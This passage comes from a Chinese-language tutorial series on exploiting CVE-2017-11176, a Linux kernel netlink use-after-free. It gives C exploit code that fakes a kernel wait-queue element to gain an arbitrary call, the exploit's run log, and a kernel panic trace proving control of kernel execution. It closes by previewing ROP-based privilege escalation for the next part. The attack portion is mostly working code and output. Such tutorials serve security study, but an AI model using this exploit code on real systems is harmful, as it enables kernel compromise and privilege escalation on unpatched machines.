struct list_head task_list;
};
typedef int (*wait_queue_func_t)(void *wait, unsigned mode, int flags, void *key);
struct wait_queue
{
unsigned int flags;
#define WQ_FLAG_EXCLUSIVE 0x01
void *private;
wait_queue_func_t func;
struct list_head task_list;
};
这就是了!
在另一方面,如果你喜欢模仿netlink_sock,你需要插入一些padding去有一些修正的布局,或者其他的什么,重新实现所有的嵌入结构。。。我们在这儿不会这么去做,我们这儿只想应用"wait"、“pid”、"group"参数(用于重新分配检查)。
好了,现在我们有我们自己的数据结构,让我们全局的编写用户空间的等待队列参数和假的下一个参数。
static volatile struct wait_queue g_uland_wq_elt;
static volatile struct list_head g_fake_next_elt;
把再分配数据完成:
#define PANIC_ADDR ((void*) 0xffffffff81553684)
static int init_realloc_data(void)
{
struct cmsghdr *first;
int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET];
void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET];
struct wait_queue_head *nlk_wait = (struct wait_queue_head*) &g_realloc_data[NLK_WAIT_OFFSET];
memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data));
// necessary to pass checks in __scm_send()
first = (struct cmsghdr*) &g_realloc_data;
first->cmsg_len = sizeof(g_realloc_data);
first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg
first->cmsg_type = 1; // <---- ARBITRARY VALUE
// used by reallocation checker
*pid = MAGIC_NL_PID;
*groups = MAGIC_NL_GROUPS;
// the first element in nlk's wait queue is our userland element (task_list field!)
BUILD_BUG_ON(offsetof(struct wait_queue_head, task_list) != WQ_HEAD_TASK_LIST_OFFSET);
nlk_wait->slock = 0;
nlk_wait->task_list.next = (struct list_head*)&g_uland_wq_elt.task_list;
nlk_wait->task_list.prev = (struct list_head*)&g_uland_wq_elt.task_list;
// initialise the "fake" second element (because of list_for_each_entry_safe())
g_fake_next_elt.next = (struct list_head*)&g_fake_next_elt; // point to itself
g_fake_next_elt.prev = (struct list_head*)&g_fake_next_elt; // point to itself
// initialise the userland wait queue element
BUILD_BUG_ON(offsetof(struct wait_queue, func) != WQ_ELMT_FUNC_OFFSET);
BUILD_BUG_ON(offsetof(struct wait_queue, task_list) != WQ_ELMT_TASK_LIST_OFFSET);
g_uland_wq_elt.flags = WQ_FLAG_EXCLUSIVE; // set to exit after the first arbitrary call
g_uland_wq_elt.private = NULL; // unused
g_uland_wq_elt.func = (wait_queue_func_t) PANIC_ADDR; // <----- arbitrary call!
g_uland_wq_elt.task_list.next = (struct list_head*)&g_fake_next_elt;
g_uland_wq_elt.task_list.prev = (struct list_head*)&g_fake_next_elt;
printf("[+] g_uland_wq_elt addr = %p\n", &g_uland_wq_elt);
printf("[+] g_uland_wq_elt.func = %p\n", g_uland_wq_elt.func);
return 0;
}
看看这样是这么比直接硬编码要不容易出错?
好的,我们现在可以完成再分配定位。
最后,我们需要从主线程去触发任意调用原语。由于我们在part 2就知道了,接下来的代码时很简单的。
int main(void)
{
// ... cut ...
printf("[+] reallocation succeed! Have fun :-)\n");
// trigger the arbitrary call primitive
val = 3535; // need to be different than zero
if (_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
{
perror("[-] setsockopt");
goto fail;
}
printf("[ ] are we still alive ?\n");
PRESS_KEY();
// ... cut ...
}
是时候去启动exp,看看他是否工作。因为内核crash,你可能有时间去观察命令行界面的输出在你的实机上。强烈推荐用netconsole 网络控制台!
让我们跑exp:
[ ] -={ CVE-2017-11176 Exploit }=-
[+] successfully migrated to CPU#0
[ ] optmem_max = 20480
[+] can use the 'ancillary data buffer' reallocation gadget!
[+] g_uland_wq_elt addr = 0x602820
[+] g_uland_wq_elt.func = 0xffffffff81553684
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 300 reallocation threads ready!
[+] reallocation ready!
[ ] preparing blocking netlink socket
[+] socket created (send_fd = 603, recv_fd = 604)
[+] netlink socket bound (nl_pid=118)
[+] receive buffer reduced
[ ] flooding socket
[+] flood completed
[+] blocking socket ready
[+] netlink socket created = 604
[+] netlink fd duplicated (unblock_fd=603, sock_fd2=605)
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 604 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 605 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
NOTE:我们没有看到再分配成功的字符串,因为内核在他出现在控制台之前就carsh了(无论如何他被缓冲了)。
netconsole 网络控制台的结果:
[ 213.352742] Freeing alive netlink socket ffff88001bddb400
[ 218.355229] Kernel panic - not syncing: ^A
[ 218.355434] Pid: 2443, comm: exploit Not tainted 2.6.32
[ 218.355583] Call Trace:
[ 218.355689] [<ffffffff8155372b>] ? panic+0xa7/0x179
[ 218.355927] [<ffffffff810665b3>] ? __wake_up+0x53/0x70
[ 218.356045] [<ffffffff81061909>] ? __wake_up_common+0x59/0x90
[ 218.356156] [<ffffffff810665a8>] ? __wake_up+0x48/0x70
[ 218.356310] [<ffffffff814b81cc>] ? netlink_setsockopt+0x13c/0x1c0
[ 218.356460] [<ffffffff81475a2f>] ? sys_setsockopt+0x6f/0xc0
[ 218.356622] [<ffffffff8100b1a2>] ? system_call_fastpath+0x16/0x1b
胜利,我们成功的从netlink_setsockopt()调用了panic()。
我们现在可以控制内核的执行流了。任意调用攻击成功了。
哇。。。这真的很长!
在这个文章我们看到了很多东西。首先,我们介绍了集中在slab上的内存分配子系统。作为补充,我们了一个关键的数据结构((list_head))几乎在内核所有地方用到像是container_of()宏。
第二,我们看了UAF漏洞是什么和一般的利用策略即linux内核的类型混淆。我们强调了需要利用他的一些普遍信息,并且看到KASAN可以自动化的完成这个任务。我们为我们特殊的漏洞收集信息,展示了一些方法去静态或者动态找到cache对象大小 (pahole, /proc/slabinfo, …)。
第三,我们讲述了怎么去使用知名的“辅助数据缓冲”gadget(sendmsg()),去实现linux内核的再分配内存,并且知道了什么是可控的,怎么使用他去再分配(几乎)任意的数据。这个实现展示了两种最小化再分配失败的方法(cpumask and heap spraying堆喷射)。
最后,我们展示了我们的UAF原语位置(the primitive gates)。我们用一个来检查再分配状态(不可控读)和另一个来获得任意调用(来自等待队列)。这个实现模仿了内核数据结构和我们提取目标特定的偏移量。再最后,现在的exp可以调用panic(),因此我们可以控制内核执行流。
在下一篇(最后)的文章,我们将会看到在,怎么样去使用任意调用原语去覆盖ring-0通过stcak pivot和ROP链。不像是用户空间的ROP攻击,内核版本有一些额外的要求和问题需要去思考(页面错误、SMEP保护),我们需要去客服这些。在最后,我们将会修复内核,让他在exp退出时不会crash,同时提升我们的权限。
希望你享受linux内核之旅,part4见。